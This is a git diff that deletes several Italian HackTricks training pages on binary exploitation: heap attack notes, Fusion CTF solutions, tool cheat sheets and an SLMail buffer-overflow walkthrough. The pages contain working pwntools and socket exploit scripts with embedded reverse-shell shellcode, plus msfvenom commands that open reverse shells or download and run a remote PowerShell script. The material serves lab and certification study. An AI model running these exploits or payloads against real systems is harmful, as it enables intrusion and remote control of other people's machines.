volta nel suo bin è il momento di modificare il puntatore bk tramite l'overflow affinché punti all'indirizzo che vogliamo sovrascrivere. - -Così il bin dovrà aspettare turno affinché si chiami malloc() sufficienti volte affinché si torni a utilizzare il bin modificato e ingannare bin facendogli credere che il successivo blocco sia all'indirizzo falso. E successivamente si darà il blocco che ci interessa. - -Per far eseguire la vulnerabilità il prima possibile l'ideale sarebbe: Riserva del blocco vulnerabile, riserva del blocco che si modificherà, si libera questo blocco, si riserva un blocco più grande a quello che si modificherà, si modifica il blocco (vulnerabilità), si riserva un blocco di uguale dimensione a quello vulnerato e si riserva un secondo blocco di uguale dimensione e questo sarà quello che punta all'indirizzo scelto. - -Per proteggere questo attacco si usa la tipica verifica che il blocco “non” è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso se il puntatore fd\* del blocco falso puntato nello stack sta puntando a victim. Per superare questa protezione l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente dallo stack) all'indirizzo adeguato l'indirizzo di victim. Affinché così sembri un blocco vero. - -**Corruzione LargeBin** - -Sono necessari gli stessi requisiti di prima e qualcun altro, inoltre i blocchi riservati devono essere maggiori di 512. - -L'attacco è come il precedente, cioè, bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare il size del blocco modificato in modo che quel size - nb sia < MINSIZE. - -Ad esempio, si farà in modo che mettere in size 1552 affinché 1552 - 1544 = 8 < MINSIZE (la sottrazione non può risultare negativa perché si confronta un unsigned) - -Inoltre è stato introdotto un patch per renderlo ancora più complicato. - -**Heap Spraying** - -Fondamentalmente consiste nel riservare tutta la memoria possibile per gli heap e riempire questi con un materasso di nops terminati da una shellcode. Inoltre, come materasso si utilizza 0x0c. Poiché si cercherà di saltare all'indirizzo 0x0c0c0c0c, e così se si sovrascrive qualche indirizzo a cui si andrà a chiamare con questo materasso si salterà lì. Fondamentalmente la tattica è riservare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c aspettandosi che lì ci siano nops. - -**Heap Feng Shui** - -Consiste nel seminare la memoria tramite riserve e liberazioni in modo che rimangano blocchi riservati in mezzo a blocchi liberi. Il buffer da sovrascrivere si situerà in uno dei blocchi. - -**objdump -d eseguibile** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNZIONE** —> Ottieni indirizzo funzione\ -**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabella dei simboli, per estrarre indirizzi di variabili e funzioni\ -**objdump -TR ./exec | grep exit(func lib)** —> Per estrarre indirizzi di funzioni di librerie (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Estrae l'indirizzo di puts da sovrascrivere nella GOT\ -**objdump -D ./exec** —> Disas ALL fino alle entrate della plt\ -**objdump -p -/exec**\ -**Info functions strncmp —>** Info della funzione in gdb - -## Corsi interessanti - -- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) -- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) - -## **Riferimenti** - -- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md deleted file mode 100644 index 548a3f7e8..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ /dev/null @@ -1,60 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Level00 - -[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) - -1. Ottieni l'offset per modificare l'EIP -2. Metti l'indirizzo dello shellcode nell'EIP -```python -from pwn import * - -r = remote("192.168.85.181", 20000) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0xbffff440) # Stack address where the shellcode will be saved -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.recvline() -r.send(buf) -r.interactive() -``` -# Livello01 -```python -from pwn import * - -r = remote("192.168.85.181", 20001) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0x08049f4f) # Adress of: JMP esp -buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode) -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.send(buf) -r.interactive() -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md deleted file mode 100644 index 3437875e0..000000000 --- a/src/exploiting/tools/README.md +++ /dev/null @@ -1,210 +0,0 @@ -# Strumenti di Sfruttamento - -{{#include ../../banners/hacktricks-training.md}} - -## Metasploit -``` -pattern_create.rb -l 3000 #Length -pattern_offset.rb -l 3000 -q 5f97d534 #Search offset -nasm_shell.rb -nasm> jmp esp #Get opcodes -msfelfscan -j esi /opt/fusion/bin/level01 -``` -### Shellcodes -``` -msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c -``` -## GDB - -### Installa -``` -apt-get install gdb -``` -### Parametri -```bash --q # No show banner --x # Auto-execute GDB instructions from here --p # Attach to process -``` -### Istruzioni -```bash -run # Execute -start # Start and break in main -n/next/ni # Execute next instruction (no inside) -s/step/si # Execute next instruction -c/continue # Continue until next breakpoint -p system # Find the address of the system function -set $eip = 0x12345678 # Change value of $eip -help # Get help -quit # exit - -# Disassemble -disassemble main # Disassemble the function called main -disassemble 0x12345678 # Disassemble taht address -set disassembly-flavor intel # Use intel syntax -set follow-fork-mode child/parent # Follow child/parent process - -# Breakpoints -br func # Add breakpoint to function -br *func+23 -br *0x12345678 -del # Delete that number of breakpoint -watch EXPRESSION # Break if the value changes - -# info -info functions --> Info abount functions -info functions func --> Info of the funtion -info registers --> Value of the registers -bt # Backtrace Stack -bt full # Detailed stack -print variable -print 0x87654321 - 0x12345678 # Caculate - -# x/examine -examine/ dir_mem/reg/puntero # Shows content of in where each entry is a -x/o 0xDir_hex -x/2x $eip # 2Words from EIP -x/2x $eip -4 # $eip - 4 -x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -i r eip # Value of $eip -x/w pointer # Value of the pointer -x/s pointer # String pointed by the pointer -x/xw &pointer # Address where the pointer is located -x/i $eip # Instructions of the EIP -``` -### [GEF](https://github.com/hugsy/gef) -```bash -help memory # Get help on memory command -canary # Search for canary value in memory -checksec #Check protections -p system #Find system function address -search-pattern "/bin/sh" #Search in the process memory -vmmap #Get memory mappings -xinfo # Shows page, size, perms, memory area and offset of the addr in the page -memory watch 0x784000 0x1000 byte #Add a view always showinf this memory -got #Check got table -memory watch $_got()+0x18 5 #Watch a part of the got table - -# Vulns detection -format-string-helper #Detect insecure format strings -heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap - -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp - -#Shellcode -shellcode search x86 #Search shellcodes -shellcode get 61 #Download shellcode number 61 - -#Another way to get the offset of to the RIP -1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it -2- ef➤ i f -Stack level 0, frame at 0x7fffffffddd0: -rip = 0x400cd3; saved rip = 0x6261617762616176 -called by frame at 0x7fffffffddd8 -Arglist at 0x7fffffffdcf8, args: -Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 -Saved registers: -rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 -gef➤ pattern search 0x6261617762616176 -[+] Searching for '0x6261617762616176' -[+] Found at offset 184 (little-endian search) likely -``` -### Tricks - -#### GDB stessi indirizzi - -Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi eseguendo: - -- `unset env LINES` -- `unset env COLUMNS` -- `set env _=` _Inserisci il percorso assoluto del binario_ -- Sfrutta il binario utilizzando la stessa rotta assoluta -- `PWD` e `OLDPWD` devono essere gli stessi quando si utilizza GDB e quando si sfrutta il binario - -#### Backtrace per trovare le funzioni chiamate - -Quando hai un **binario staticamente collegato**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\ -Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando non ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate: -``` -gef➤ bt -#0 0x00000000004498ae in ?? () -#1 0x0000000000400b90 in ?? () -#2 0x0000000000400c1d in ?? () -#3 0x00000000004011a9 in ?? () -#4 0x0000000000400a5a in ?? () -``` -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA devi riempire il percorso assoluto dell'eseguibile nella macchina Linux e nella macchina Windows) - -## Ghidra - -### Trova offset dello stack - -**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\ -Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\ -_Ricorda che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._ - -![](<../../images/image (616).png>) - -## GCC - -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\ -**-o** --> Output\ -**-g** --> Salva il codice (GDB sarà in grado di vederlo)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux - -**Per compilare un shellcode:**\ -**nasm -f elf assembly.asm** --> restituisce un ".o"\ -**ld assembly.o -o shellcodeout** --> Eseguibile - -## Objdump - -**-d** --> **Disassembla le sezioni eseguibili** (vedi opcodes di un shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\ -**-Mintel** --> **Sintassi Intel**\ -**-t** --> **Tabella dei simboli**\ -**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\ -**-s -j .dtors** --> sezione dtors\ -**-s -j .got** --> sezione got\ -\-D -s -j .plt --> **sezione plt** **decompilata**\ -**-TR** --> **Ridenominazioni**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA). - -## Core dumps - -1. Esegui `ulimit -c unlimited` prima di avviare il mio programma -2. Esegui `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=\ --quiet - -## More - -**ldd executable | grep libc.so.6** --> Indirizzo (se ASLR, allora questo cambia ogni volta)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop per vedere se l'indirizzo cambia molto\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset di "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset di "/bin/sh" - -**strace executable** --> Funzioni chiamate dall'eseguibile\ -**rabin2 -i ejecutable -->** Indirizzo di tutte le funzioni - -## **Inmunity debugger** -```bash -!mona modules #Get protections, look for all false except last one (Dll of SO) -!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) -``` -## IDA - -### Debugging in remote linux - -All'interno della cartella IDA puoi trovare binari che possono essere utilizzati per eseguire il debug di un binario all'interno di un linux. Per farlo, sposta il binario _linux_server_ o _linux_server64_ all'interno del server linux e eseguilo nella cartella che contiene il binario: -``` -./linux_server64 -Ppass -``` -Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...: - -![](<../../images/image (101).png>) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md deleted file mode 100644 index 7924b7bbd..000000000 --- a/src/exploiting/tools/pwntools.md +++ /dev/null @@ -1,146 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} -``` -pip3 install pwntools -``` -# Pwn asm - -Ottieni opcodes da una riga o da un file. -``` -pwn asm "jmp esp" -pwn asm -i -``` -**Può selezionare:** - -- tipo di output (raw,hex,string,elf) -- contesto del file di output (16,32,64,linux,windows...) -- evitare byte (nuove righe, null, un elenco) -- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output - -# **Controllo Pwn** - -Script checksec -``` -pwn checksec -``` -# Pwn constgrep - -# Pwn cyclic - -Ottieni un modello -``` -pwn cyclic 3000 -pwn cyclic -l faad -``` -**Può selezionare:** - -- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita) -- Lunghezza del modello unico (impostazione predefinita 4) -- contesto (16,32,64,linux,windows...) -- Prendere l'offset (-l) - -# Pwn debug - -Collegare GDB a un processo -``` -pwn debug --exec /bin/bash -pwn debug --pid 1234 -pwn debug --process bash -``` -**Può selezionare:** - -- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...) -- gdbscript da eseguire -- sysrootpath - -# Pwn disablenx - -Disabilita nx di un binario -``` -pwn disablenx -``` -# Pwn disasm - -Disas codici opcodes esadecimali -``` -pwn disasm ffe4 -``` -**Può selezionare:** - -- contesto (16,32,64,linux,windows...) -- indirizzo base -- colore(predefinito)/nessun colore - -# Pwn elfdiff - -Stampa le differenze tra 2 file -``` -pwn elfdiff -``` -# Pwn hex - -Ottieni la rappresentazione esadecimale -```bash -pwn hex hola #Get hex of "hola" ascii -``` -# Pwn phd - -Ottieni hexdump -``` -pwn phd -``` -**Può selezionare:** - -- Numero di byte da mostrare -- Numero di byte per evidenziare il byte per riga -- Salta byte all'inizio - -# Pwn pwnstrip - -# Pwn scrable - -# Pwn shellcraft - -Ottieni shellcode -``` -pwn shellcraft -l #List shellcodes -pwn shellcraft -l amd #Shellcode with amd in the name -pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell -pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port -``` -**Può selezionare:** - -- shellcode e argomenti per lo shellcode -- File di output -- formato di output -- debug (collega dbg allo shellcode) -- prima (trap di debug prima del codice) -- dopo -- evita di usare opcodes (predefinito: non nullo e nuova riga) -- Esegui lo shellcode -- Colore/senza colore -- elenca le syscalls -- elenca i possibili shellcodes -- Genera ELF come libreria condivisa - -# Modello Pwn - -Ottieni un modello python -``` -pwn template -``` -**Può selezionare:** host, porta, utente, password, percorso e silenzioso - -# Pwn unhex - -Da esadecimale a stringa -``` -pwn unhex 686f6c61 -``` -# Aggiornamento di Pwn - -Per aggiornare pwntools -``` -pwn update -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md deleted file mode 100644 index 85a50cd4c..000000000 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ /dev/null @@ -1,237 +0,0 @@ -# Windows Exploiting (Guida di base - livello OSCP) - -{{#include ../banners/hacktricks-training.md}} - -## **Inizia a installare il servizio SLMail** - -## Riavvia il servizio SLMail - -Ogni volta che hai bisogno di **riavviare il servizio SLMail** puoi farlo utilizzando la console di Windows: -``` -net start slmail -``` -![](<../images/image (23) (1).png>) - -## Modello di exploit Python molto basilare -```python -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -buffer = 'A' * 2700 -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -## **Cambia il font di Immunity Debugger** - -Vai su `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Collega il processo a Immunity Debugger:** - -**File --> Attach** - -![](<../images/image (24) (1) (1).png>) - -**E premi il pulsante START** - -## **Invia l'exploit e controlla se EIP è influenzato:** - -![](<../images/image (25) (1) (1).png>) - -Ogni volta che interrompi il servizio, dovresti riavviarlo come indicato all'inizio di questa pagina. - -## Crea un pattern per modificare l'EIP - -Il pattern dovrebbe essere grande quanto il buffer che hai usato per interrompere il servizio in precedenza. - -![](<../images/image (26) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 -``` -Cambia il buffer dell'exploit e imposta il pattern e lancia l'exploit. - -Dovrebbe apparire un nuovo crash, ma con un indirizzo EIP diverso: - -![](<../images/image (27) (1) (1).png>) - -Controlla se l'indirizzo era nel tuo pattern: - -![](<../images/image (28) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 -``` -Sembra che **possiamo modificare l'EIP nell'offset 2606** del buffer. - -Controllalo modificando il buffer dell'exploit: -``` -buffer = 'A'*2606 + 'BBBB' + 'CCCC' -``` -Con questo buffer l'EIP che si è bloccato dovrebbe puntare a 42424242 ("BBBB") - -![](<../images/image (30) (1) (1).png>) - -![](<../images/image (29) (1) (1).png>) - -Sembra che funzioni. - -## Controlla lo spazio per Shellcode all'interno dello stack - -600B dovrebbero essere sufficienti per qualsiasi shellcode potente. - -Cambiamo il buffer: -``` -buffer = 'A'*2606 + 'BBBB' + 'C'*600 -``` -lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile - -![](<../images/image (31) (1).png>) - -![](<../images/image (32) (1).png>) - -Puoi vedere che quando la vulnerabilità viene raggiunta, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui. - -In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza. - -## Controlla i caratteri problematici - -Cambia di nuovo il buffer: -``` -badchars = ( -"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" -"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" -"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" -"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" -"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" -"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" -"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" -"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" -"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" -"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" -"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" -"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" -"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" -"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" -"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" -"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -) -buffer = 'A'*2606 + 'BBBB' + badchars -``` -I badchars iniziano da 0x01 perché 0x00 è quasi sempre dannoso. - -Esegui ripetutamente l'exploit con questo nuovo buffer eliminando i caratteri che si rivelano inutili:. - -Ad esempio: - -In questo caso puoi vedere che **non dovresti usare il carattere 0x0A** (niente viene salvato in memoria poiché il carattere è 0x09). - -![](<../images/image (33) (1).png>) - -In questo caso puoi vedere che **il carattere 0x0D è evitato**: - -![](<../images/image (34) (1).png>) - -## Trova un JMP ESP come indirizzo di ritorno - -Utilizzando: -``` -!mona modules #Get protections, look for all false except last one (Dll of SO) -``` -Elencherai **le mappe di memoria**. Cerca qualche DLL che abbia: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (35) (1).png>) - -Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per farlo esegui: -``` -!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) -!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case -``` -**Quindi, se viene trovata un'indirizzo, scegline uno che non contenga alcun badchar:** - -![](<../images/image (36) (1).png>) - -**In questo caso, ad esempio: \_0x5f4a358f**\_ - -## Crea shellcode -``` -msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' -``` -Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il shellcode è stato raggiunto), prova a creare altri shellcode (msfvenom con crea shellcode diversi per gli stessi parametri). - -**Aggiungi alcuni NOPS all'inizio** del shellcode e usalo insieme all'indirizzo di ritorno per JMP ESP, e completa l'exploit: -```bash -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -shellcode = ( -"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" -"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b" -"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4" -"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6" -"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4" -"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36" -"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9" -"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19" -"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef" -"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78" -"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85" -"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4" -"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35" -"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71" -"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8" -"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf" -"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a" -"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5" -"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25" -"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4" -"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1" -"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a" -"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d" -"\x2d\xb8\x63\xe2\x4e\xe9" -) - -buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -> [!WARNING] -> Ci sono shellcode che **si sovrascrivono**, quindi è importante aggiungere sempre alcuni NOP prima dello shellcode - -## Migliorare lo shellcode - -Aggiungi questi parametri: -``` -EXITFUNC=thread -e x86/shikata_ga_nai -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md deleted file mode 100644 index ebd4d766f..000000000 --- a/src/forensics/basic-forensic-methodology/README.md +++ /dev/null @@ -1,82 +0,0 @@ -# Metodologia Forense di Base - -{{#include ../../banners/hacktricks-training.md}} - -## Creazione e Montaggio di un'Immagine - -{{#ref}} -../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md -{{#endref}} - -## Analisi del Malware - -Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine della memoria, pcap... quindi è bene **tenere a mente queste azioni**: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Ispezione di un'Immagine - -Se ti viene fornita un'**immagine forense** di un dispositivo, puoi iniziare **ad analizzare le partizioni, il file-system** utilizzato e **recuperare** potenzialmente **file interessanti** (anche quelli eliminati). Scopri come in: - -{{#ref}} -partitions-file-systems-carving/ -{{#endref}} - -A seconda dei sistemi operativi utilizzati e persino della piattaforma, dovrebbero essere cercati diversi artefatti interessanti: - -{{#ref}} -windows-forensics/ -{{#endref}} - -{{#ref}} -linux-forensics.md -{{#endref}} - -{{#ref}} -docker-forensics.md -{{#endref}} - -## Ispezione Approfondita di Tipi di File e Software Specifici - -Se hai un **file** molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato, potrebbero essere utili diversi **trucchi**.\ -Leggi la pagina seguente per scoprire alcuni trucchi interessanti: - -{{#ref}} -specific-software-file-type-tricks/ -{{#endref}} - -Voglio fare una menzione speciale alla pagina: - -{{#ref}} -specific-software-file-type-tricks/browser-artifacts.md -{{#endref}} - -## Ispezione del Dump di Memoria - -{{#ref}} -memory-dump-analysis/ -{{#endref}} - -## Ispezione Pcap - -{{#ref}} -pcap-inspection/ -{{#endref}} - -## **Tecniche Anti-Forensi** - -Tieni a mente il possibile uso di tecniche anti-forensi: - -{{#ref}} -anti-forensic-techniques.md -{{#endref}} - -## Ricerca di Minacce - -{{#ref}} -file-integrity-monitoring.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md deleted file mode 100644 index 2a789f26b..000000000 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ /dev/null @@ -1,151 +0,0 